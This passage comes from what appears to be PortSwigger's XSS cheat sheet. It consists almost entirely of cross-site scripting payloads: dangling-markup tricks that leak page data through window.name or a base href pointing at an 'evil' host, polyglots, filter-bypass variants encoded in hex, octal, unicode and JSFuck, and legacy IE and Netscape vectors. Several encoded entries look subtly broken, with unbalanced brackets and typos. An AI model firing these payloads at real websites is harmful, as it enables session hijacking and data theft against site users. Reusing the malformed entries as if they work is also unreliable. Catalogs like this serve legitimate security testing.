<b>Pass markup data through window.name using formtarget</b>	<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="
<b>Using base href to pass data</b>	<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
<b>Using embed window name to pass data from the page</b>	<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<b>Using iframe window name to pass data from the page</b>	<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<b>Using object window name to pass data from the page</b>	<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<b>Using frame window name to pass data from the page</b>	<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

## Polyglots

<b>Polyglot payload 1</b>	javascript:/*-></title></style></textarea></script></xmp><svg/onload='//'+/+/onmouseover=1+/*/[]/+alert(1)//'
<b>Polyglot payload 2</b>	javascript:/*`/*`/*--></noscript></title></textarea></style></template></noembed></script><html \' onmouseover=/*&lt;svg/*/onload=alert()//'

## WAF bypass global objects

<b>Reflected XSS into a JavaScript string: string concatenation (window)</b>	';window['ale'+rt'](window['doc'+ument]['dom'+ain']);//
--	---

Reflected XSS into a JavaScript string: string concatenation (self)	';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
Reflected XSS into a JavaScript string: string concatenation (this)	';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
Reflected XSS into a JavaScript string: string concatenation (top)	';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
Reflected XSS into a JavaScript string: string concatenation (parent)	';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
Reflected XSS into a JavaScript string: string concatenation (frames)	';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//
Reflected XSS into a JavaScript string: string concatenation (globalThis)	';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
Reflected XSS into a JavaScript string: comment syntax (window)	';window/*foo*/'alert'/*bar*'](window/*foo*/'document'/*bar*/]['domain']);//
Reflected XSS into a JavaScript string: comment syntax (self)	';self/*foo*/'alert'/*bar*'](self/*foo*/'document'/*bar*/]['domain']);//
Reflected XSS into a JavaScript string: comment syntax (this)	';this/*foo*/'alert'/*bar*'](this/*foo*/'document'/*bar*/]['domain']);//
Reflected XSS into a JavaScript string: comment syntax (top)	';top/*foo*/'alert'/*bar*'](top/*foo*/'document'/*bar*/]['domain']);//
Reflected XSS into a JavaScript string: comment syntax (parent)	';parent/*foo*/'alert'/*bar*'](parent/*foo*/'document'/*bar*/]['domain']);//
Reflected XSS into a JavaScript string: comment syntax (frames)	';frames/*foo*/'alert'/*bar*'](frames/*foo*/'document'/*bar*/]['domain']);//
Reflected XSS into a JavaScript string: comment syntax (globalThis)	';globalThis/*foo*/'alert'/*bar*'](globalThis/*foo*/'document'/*bar*/]['domain']);//
Reflected XSS into a JavaScript string: hex escape sequence (window)	';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
Reflected XSS into a JavaScript string: hex escape sequence (self)	';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
Reflected XSS into a JavaScript string: hex escape sequence (this)	';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
Reflected XSS into a JavaScript string: hex escape sequence (top)	';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
Reflected XSS into a JavaScript string: hex escape sequence (parent)	';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
Reflected XSS into a JavaScript string: hex escape sequence (frames)	';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
Reflected XSS into a JavaScript string: hex escape sequence (globalThis)	';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)	';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"] (window["\x61\x74\x6f\x62"]("WFNT"))');//

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)

```
';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"]  
(self["\x61\x74\x6f\x62"]["WFNT"]))');//
```

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)

```
';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"]  
(this["\x61\x74\x6f\x62"]["WFNT"]));//
```

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)

```
';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"]  
(top["\x61\x74\x6f\x62"]["WFNT"]));//
```

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)

```
');parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"]  
(parent["\x61\x74\x6f\x62"]["WFNT"]));//
```

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)

```
');frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"]  
(frames["\x61\x74\x6f\x62"]["WFNT"]));//
```

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)

```
');globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"]  
(globalThis["\x61\x74\x6f\x62"]["WFNT"]));//
```

Reflected XSS into a JavaScript string: octal escape sequence (window)

```
');window['\141\154\145\162\164']('\'130\123\123');//
```

Reflected XSS into a JavaScript string: octal escape sequence (self)

```
');self['\141\154\145\162\164']('\'130\123\123');//
```

Reflected XSS into a JavaScript string: octal escape sequence (this)

```
');this['\141\154\145\162\164']('\'130\123\123');//
```

Reflected XSS into a JavaScript string: octal escape sequence (top)

```
');top['\141\154\145\162\164']('\'130\123\123');//
```

Reflected XSS into a JavaScript string: octal escape sequence (frames)

```
');frames['\141\154\145\162\164']('\'130\123\123');//
```

Reflected XSS into a JavaScript string: octal escape sequence (globalThis)

```
');globalThis['\141\154\145\162\164']('\'130\123\123');//
```

Reflected XSS into a JavaScript string: unicode escape (window)

```
');window['\u0061\u006c\u0065\u0072\u0074']  
('\u0058\u0053\u0053');//
```

Reflected XSS into a JavaScript string: unicode escape (self)

```
');self['\u0061\u006c\u0065\u0072\u0074']  
('\u0058\u0053\u0053');//
```

Reflected XSS into a JavaScript string: unicode escape (this)

```
');this['\u0061\u006c\u0065\u0072\u0074']  
('\u0058\u0053\u0053');//
```

Reflected XSS into a JavaScript string: unicode escape (top)

```
');top['\u0061\u006c\u0065\u0072\u0074']  
('\u0058\u0053\u0053');//
```

Reflected XSS into a JavaScript string: unicode escape (parent)

```
');parent['\u0061\u006c\u0065\u0072\u0074']  
('\u0058\u0053\u0053');//
```

Reflected XSS into a JavaScript string: unicode escape (frames)

```
');frames['\u0061\u006c\u0065\u0072\u0074']  
('\u0058\u0053\u0053');//
```

Reflected XSS into a JavaScript string: unicode escape (globalThis)

```
');globalThis['\u0061\u006c\u0065\u0072\u0074']  
('\u0058\u0053\u0053');//
```

Reflected XSS into a JavaScript string: RegExp source property (window)

```
');window[/a1/.source+/ert/.source](/XSS/.source);//
```

Reflected XSS into a JavaScript string: RegExp source property ( <b>self</b> )	';self[/al/.source+/ert/.source](/XSS/.source);//
Reflected XSS into a JavaScript string: RegExp source property ( <b>this</b> )	';this[/al/.source+/ert/.source](/XSS/.source);//
Reflected XSS into a JavaScript string: RegExp source property ( <b>top</b> )	';top[/al/.source+/ert/.source](/XSS/.source);//
Reflected XSS into a JavaScript string: RegExp source property ( <b>parent</b> )	';parent[/al/.source+/ert/.source](/XSS/.source);//
Reflected XSS into a JavaScript string: RegExp source property ( <b>frames</b> )	';frames[/al/.source+/ert/.source](/XSS/.source);//
Reflected XSS into a JavaScript string: RegExp source property ( <b>globalThis</b> )	';globalThis[/al/.source+/ert/.source](/XSS/.source);//
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck ( <b>window</b> )	';window[+(+{}+[ ]) [+!![]]+(![]+[ ]) [!+[ ]+!![]]+([ ][ ][ ]+[ ]) [!+[ ]+!![]]+!![]]+( !![]+[ ]) [+!![]]+(![]+[ ]) [+[]]]((+{}+[ ]) [+!![]]);//
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck ( <b>self</b> )	';self[(+{}+[ ]) [+!![]]+(![]+[ ]) [!+[ ]+!![]]+([ ][ ][ ]+[ ]) [!+[ ]+!![]]+!![]]+( !![]+[ ]) [+!![]]+(![]+[ ]) [+[]]]((+{}+[ ]) [+!![]]);//
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck ( <b>this</b> )	';this[(+{}+[ ]) [+!![]]+(![]+[ ]) [!+[ ]+!![]]+([ ][ ][ ]+[ ]) [!+[ ]+!![]]+!![]]+( !![]+[ ]) [+!![]]+(![]+[ ]) [+[]]]((+{}+[ ]) [+!![]]);//
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck ( <b>top</b> )	';top[(+{}+[ ]) [+!![]]+(![]+[ ]) [!+[ ]+!![]]+([ ][ ][ ]+[ ]) [!+[ ]+!![]]+!![]]+( !![]+[ ]) [+!![]]+(![]+[ ]) [+[]]]((+{}+[ ]) [+!![]]);//
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck ( <b>parent</b> )	';parent[(+{}+[ ]) [+!![]]+(![]+[ ]) [!+[ ]+!![]]+([ ][ ][ ]+[ ]) [!+[ ]+!![]]+!![]]+( !![]+[ ]) [+!![]]+(![]+[ ]) [+[]]]((+{}+[ ]) [+!![]]);//
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck ( <b>frames</b> )	';frames[(+{}+[ ]) [+!![]]+(![]+[ ]) [!+[ ]+!![]]+([ ][ ][ ]+[ ]) [!+[ ]+!![]]+!![]]+( !![]+[ ]) [+!![]]+(![]+[ ]) [+[]]]((+{}+[ ]) [+!![]]);//
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck ( <b>globalThis</b> )	';globalThis[(+{}+[ ]) [+!![]]+(![]+[ ]) [!+[ ]+!![]]+([ ][ ][ ]+[ ]) [!+[ ]+!![]]+!![]]+( !![]+[ ]) [+!![]]+(![]+[ ]) [+[]]]((+{}+[ ]) [+!![]]);//

## Classic vectors (XSS crypt)

Image src with JavaScript protocol	
Body background with JavaScript protocol	<body background="javascript:alert(1)">
Iframe data urls no longer work as modern browsers use a null origin	<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)">>
VBScript protocol used to work in IE	<a href="vbscript:MsgBox+1">XSS</a> <a href="#" onclick="vbs:Msgbox+1">XSS</a> <a href="#" onclick="VBS:Msgbox+1">XSS</a> <a href="#" onclick="vbscript:Msgbox+1">XSS</a> <a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a> <a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>
JScript compact was a minimal version of JS that wasn't widely used in IE	<a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
JScript.Encode allows encoded JavaScript	<a href=# language="JScript.Encode" onclick="#@~CAAAAA==C^+.D`8#mgIAAA==^#~@#">XSS</a> <a href="#" onclick="JScript.Encode:#@~CAAAAA==C^+.D`8#mgIAAA==^#~@#">XSS</a>
VBScript.Encoded allows encoded VBScript	<iframe onload=VBScript.Encode:#@~CAAAAA==\ko\$K6_FoQIAAA==^#~@> <iframe language=VBScript.Encode onload="#@~CAAAAA==\ko\$K6_FoQIAAA==^#~@>

<b>JavaScript entities used to work in Netscape Navigator</b>	<a title="&{alert(1)}">XSS</a>
<b>JavaScript stylesheets used to be supported by Netscape Navigator</b>	<link href="xss.js" rel="stylesheet" type="text/javascript">
<b>Button used to consume markup</b>	<form><button name=x formaction=x><b>stealme
<b>IE9 select elements and plaintext used to consume markup</b>	<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
<b>XBL Firefox only &lt;= 2</b>	<div style="-moz-binding:url(/businessinfo.co.uk/labs/xbl/xbl.xml#xss)"><div style="\-moz\z-binding:url(/businessinfo.co.uk/labs/xbl/xbl.xml#xss)"><div style="-moz-bindin\67:url(/businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"><div style="-moz-bindin\&#x5c;67:url(/businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
<b>XBL also worked in FF3.5 using data urls</b>	
<b>CSS expressions &lt;= IE7</b>	<div style=xss:expression(alert(1))><div style=xss:expression(1)-alert(1)><div style=xss:expression\0e(alert(1))><div style=xss:expression\0006e(alert(1))><div style=xss:expression\0e(alert(1))><div style=xss:expression\&#x5c;6e(alert(1))>
<b>In quirks mode IE allowed you to use = instead of :</b>	<div style=xss=expression(alert(1))><div style="color=&#3dred">test</div>
<b>Behaviors for older modes of IE</b>	<a style="behavior:url(#default#AnchorClick); folder="javascript:alert(1)">XSS</a>
<b>Older versions of IE supported event handlers in functions</b>	<script>function window.onload(){alert(1);}</script><script>function window::onload(){alert(1);}</script><script>function window.location(){}</script><script>function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML{}</script></body><body><script>function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>" }</script></body>
<b>GreyMagic HTML+time exploit (no longer works even in 5 docmode)</b>	<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"?><?import namespace="t" implementation="#default#time2"?><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>

## Credits

Brought to you by [PortSwigger](#) lovingly constructed by [Gareth Heyes](#)

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You can contribute to this cheat sheet by [updating the JSON](#) and creating a pull request

